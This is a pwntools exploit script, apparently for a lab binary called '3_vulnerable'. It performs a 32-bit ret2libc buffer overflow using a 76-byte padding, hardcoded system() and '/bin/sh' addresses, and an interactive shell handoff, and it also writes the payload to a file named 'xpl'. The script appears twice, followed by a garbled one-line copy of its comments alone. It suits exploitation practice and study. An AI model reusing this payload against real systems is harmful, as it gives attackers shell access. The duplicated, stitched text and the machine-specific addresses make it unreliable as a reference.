#!/usr/bin/python

from pwn import *

# ldd 3_vulnerable gets the base for libc
# brenno@skynet /m/b/3/l/l/7/build> ldd 3_vulnerable 
#	linux-gate.so.1 (0xf7fd5000)
#	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd5000)
#	/lib/ld-linux.so.2 (0xf7fd6000)


#libc_base = 0xf7dd0000
#system_offset = 0x3d250
#binsh_offset = 0xf7f533cf

# Address hardcoded from my libc
# Getting those guys in gdb, after breakpoint in main, run and 'p system' and 'find /bin/sh'
system_address = 0xf7e12250
binsh_offset = 0xf7f533cf

def main():
    # Start the process
    p = process("../build/3_vulnerable")

    # Craft the payload
    payload = "A"*76
    payload += p32(system_address)
    payload += p32(0xdeadbeef) # whatever
    payload += p32(binsh_offset)
    #payload = payload.ljust(96, "\x00") # from the original solution, why? Dont know

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

#if __name__ == "__main__":
main()

payload = "A"*76
payload += p32(system_address)
payload += p32(0xdeadbeef)
payload += p32(binsh_offset)
payload = payload.ljust(96, "\x00")
f = open('xpl', 'w')
f.write(payload)
f.close()

#!/usr/bin/python

from pwn import *

# ldd 3_vulnerable gets the base for libc
# brenno@skynet /m/b/3/l/l/7/build> ldd 3_vulnerable 
#	linux-gate.so.1 (0xf7fd5000)
#	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd5000)
#	/lib/ld-linux.so.2 (0xf7fd6000)


#libc_base = 0xf7dd0000
#system_offset = 0x3d250
#binsh_offset = 0xf7f533cf

# Address hardcoded from my libc
# Getting those guys in gdb, after breakpoint in main, run and 'p system' and 'find /bin/sh'
system_address = 0xf7e12250
binsh_offset = 0xf7f533cf

def main():
    # Start the process
    p = process("../build/3_vulnerable")

    # Craft the payload
    payload = "A"*76
    payload += p32(system_address)
    payload += p32(0xdeadbeef) # whatever
    payload += p32(binsh_offset)
    #payload = payload.ljust(96, "\x00") # from the original solution, why? Dont know

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

#if __name__ == "__main__":
main()

payload = "A"*76
payload += p32(system_address)
payload += p32(0xdeadbeef)
payload += p32(binsh_offset)
payload = payload.ljust(96, "\x00")
f = open('xpl', 'w')
f.write(payload)
f.close()

#!/usr/bin/python # ldd 3_vulnerable gets the base for libc # brenno@skynet /m/b/3/l/l/7/build> ldd 3_vulnerable #	linux-gate.so.1 (0xf7fd5000) #	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd5000) #	/lib/ld-linux.so.2 (0xf7fd6000) #libc_base = 0xf7dd0000 #system_offset = 0x3d250 #binsh_offset = 0xf7f533cf # Address hardcoded from my libc # Getting those guys in gdb, after breakpoint in main, run and 'p system' and 'find /bin/sh' # Start the process # Craft the payload # whatever #payload = payload.ljust(96, "\x00") # from the original solution, why? Dont know # Send the payload # Pass interaction to the user #if __name__ == "__main__":